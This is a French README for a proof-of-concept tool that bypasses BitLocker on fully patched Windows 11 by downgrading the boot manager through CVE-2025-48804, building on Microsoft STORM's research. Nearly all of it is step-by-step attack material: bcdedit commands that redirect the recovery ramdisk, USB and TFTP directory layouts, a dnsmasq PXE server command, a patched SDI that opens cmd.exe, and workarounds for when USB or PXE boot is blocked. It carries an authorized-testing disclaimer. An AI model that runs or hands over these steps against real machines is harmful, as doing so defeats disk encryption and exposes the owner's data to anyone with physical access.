
Attaque par downgrade pour CVE-2025-48804
Une preuve de concept pour accéder aux disques chiffrés par BitLocker en moins de 5 minutes sur des machines Windows 11 entièrement patchées via une attaque de rétrogradation du gestionnaire de démarrage, exploitant la vulnérabilité SDI initialement documentée sous le nom CVE-2025-48804. Le correctif de juillet 2025 corrige cela dans bootmgfw.efi, donc tout bootmgfw.efi antérieur au correctif signé sous PCA 2011 peut être utilisé pour une attaque de rétrogradation, à condition que le système cible fasse confiance à ce PCA.
Cette PoC propose deux méthodes de livraison : démarrage USB (plus simple et recommandé) et démarrage PXE. Mais théoriquement, vous pourriez aussi simplement copier un fichier de démarrage SDI dans l'une des partitions non chiffrées par défaut (ESP et Recovery) sans vous embêter avec USB ou PXE - voir le tableau « Cas particuliers ».
Ce travail repose entièrement sur les recherches de Microsoft STORM (Netanel Ben Simon et Alon Leviev) :
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
dnsmasq et un câble Ethernet pour le PXEPlacez-le dans USB/sdi/ (pour la méthode USB) ou TFTP-root/sdi/ (pour la méthode PXE).
Sur le périphérique cible, ouvrez une invite de commandes WinRE (maintenez Shift enfoncé tout en cliquant sur Redémarrer, puis Dépannage > Invite de commandes — cliquez sur « Ignorer ce disque » lorsque vous êtes invité à saisir une clé de récupération BitLocker et cliquez sur « relancer » si on vous dit également que l'invite de commandes ne peut pas s'exécuter sur un périphérique verrouillé — et si l'invite de commandes ne s'ouvre tout simplement pas, utilisez votre propre WinPE si possible). Branchez une clé USB et exécutez :
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
Dans la sortie, trouvez l'entrée des options de périphérique dont la description est « Windows Recovery » et qui contient les entrées ramdisksdidevice / ramdisksdipath. Notez son GUID, puis :
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Placez le fichier BCD obtenu à l'emplacement approprié selon votre méthode :
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDFormatez une clé USB en FAT32 et copiez le contenu du répertoire USB/ à sa racine (uniquement son contenu, il ne doit pas y avoir de dossier « USB »). La clé USB doit ressembler à ceci :
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Your modified BCD
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
Branchez la clé USB dans la cible et déclenchez un démarrage UEFI USB — soit depuis WinRE (Utiliser un périphérique) soit en appuyant sur la touche du menu de démarrage du fabricant au moment de la mise sous tension (F12, F9, etc.). Si la clé USB n'apparaît pas dans la liste des options de démarrage, recherchez une option « Démarrer à partir d'un fichier » dans le menu de démarrage UEFI, puis naviguez jusqu'à EFI/Boot/bootx64.efi sur la clé USB.
Le répertoire TFTP-root/ est structuré comme suit :
TFTP-root/
├── bootmgfw.efi # Pre-patch boot manager (PCA 2011)
├── Boot/
│ └── BCD # Your modified BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Same pre-patch boot manager
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
Connectez la cible à votre machine Linux via Ethernet et démarrez le serveur PXE :
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Déclenchez le démarrage PXE sur la cible — depuis WinRE sélectionnez Utiliser un périphérique > Réseau IPv4, ou appuyez sur la touche de démarrage PXE du fabricant.
Le gestionnaire de démarrage chargera le BCD, puis commencera à télécharger boot_patched.sdi. Le fichier SDI est volumineux (~300 Mo) donc cela prend un moment depuis USB, ou plusieurs minutes via TFTP. Un message lié à la récupération avec le chemin SDI devrait apparaître sur l'écran de la cible pendant son chargement.
Une fois le transfert terminé, une invite de commandes devrait apparaître avec le volume du système d'exploitation déchiffré et monté (généralement C: ou E:). S'il n'a pas été monté automatiquement ou si vous ne voulez pas deviner la lettre, exécutez simplement diskpart -> sel vol X (celui qui ressemble à votre disque chiffré) -> assign letter=C (ou autre chose) -> exit -> profitez
J'ai inclus deux scripts dans scripts/ :
patch_sdi.py — construit un fichier SDI modifié à partir d'un boot.sdi et d'un fichier WinRE.wimparse_sdi.py — analyse un fichier SDI pour valider sa structure et son contenuLe fichier boot_patched.sdi fourni dans Releases contient un WinRE.wim modifié où l'application de lancement est cmd.exe.
bootmgfw.efi signé par CA 2023 par défaut. Pour vérifier, montez la partition EFI et inspectez le binaire actif : mountvol S: /s puis sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Notez que C:\Windows\Boot\EFI\bootmgfw.efi peut différer du fichier réellement utilisé au démarrage — vérifiez toujours la copie de la partition EFI.Microsoft STORM (Netanel Ben Simon et Alon Leviev) pour la recherche originale sur BitUnlocker et la divulgation de la vulnérabilité.
Ce projet est sous licence MIT License. Consultez le fichier LICENSE pour plus de détails.
Ce dépôt et tout son contenu sont fournis strictement à des fins autorisées de test de sécurité et de recherche. N'utilisez cet outil que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages résultant de l'utilisation de ce matériel.
| Situation | Comportement |
|---|
| BitLocker configuré avec un PIN que vous connaissez | Écran bleu au démarrage — tapez le PIN à l'aveugle (désolé, je n'ai pas pris la peine d'inclure les polices BitLocker dans ce dépôt) et appuyez sur Entrée |
| Écran bleu, pas de PIN | La cible a probablement migré vers CA 2023 — appuyez sur Échap et laissez le transfert SDI se terminer quand même, mais le disque chiffré par BitLocker sera très probablement verrouillé à la fin |
| USB-C / Thunderbolt uniquement | Utilisez un disque USB-C ou un adaptateur USB-Ethernet (pour PXE) |
| Fichier TFTP introuvable (autre que les fichiers de polices indésirables dont nous n'avons pas besoin) | Les noms de fichiers sont sensibles à la casse — renommez bootmgfw.efi pour qu'il corresponde à ce que la cible demande |
| Démarrage PXE ou USB non autorisé | Vérifiez la taille disponible des partitions ESP et Recovery (diskpart -> list vol). S'il y a assez d'espace pour le fichier Boot.sdi fourni (environ 300 Mo) dans l'une ou l'autre partition, placez-le là. Ensuite, l'exploit sera légèrement différent (mais tout aussi rapide) car vous devrez modifier directement le fichier BCD du système cible (faites une sauvegarde) pour pointer vers la partition hôte non chiffrée (entrée ramdisksdidevice du BCD en particulier), et remplacer le bootmgfw.efi de votre cible par celui fourni dans le dossier TFTP de ce dépôt. Dans ce cas, assurez-vous de vérifier que le gestionnaire de démarrage de votre cible est signé par PCA 2011 (l'exploit ne fonctionnerait pas de toute façon dans ce cas, vérifiez toujours cela), sinon vous mettrez le système en récupération BitLocker. De plus, s'il n'y a pas assez d'espace pour le fichier Boot.sdi que j'ai fourni dans ce dépôt, vous pouvez essayer de créer votre propre version plus petite, il y a certainement des moyens de le faire (voir la section « Construire votre propre fichier SDI » ci-dessous) |